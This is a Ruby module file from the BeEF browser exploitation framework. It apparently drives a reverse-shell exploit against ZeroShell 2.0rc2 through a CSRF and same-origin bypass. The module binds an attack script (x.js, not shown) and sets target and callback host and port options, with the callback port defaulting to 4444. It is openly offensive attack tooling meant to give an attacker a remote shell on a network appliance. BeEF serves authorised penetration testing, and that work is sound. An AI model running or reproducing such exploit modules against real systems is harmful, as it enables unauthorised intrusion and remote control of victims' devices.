#
# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass < BeEF::Core::Command
	def pre_send
		BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/x.js', '/x', 'js')
	end
	
	def self.options
                @configuration = BeEF::Core::Configuration.instance
                lhost = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
		lhost = "" if lhost == "0.0.0.0"
		return [
			{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1'}, 
			{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
			{ 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost},
			{ 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444'}
		]
	end

	def post_execute
		BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js')
		save({'result' => @datastore['result']})
	end

end
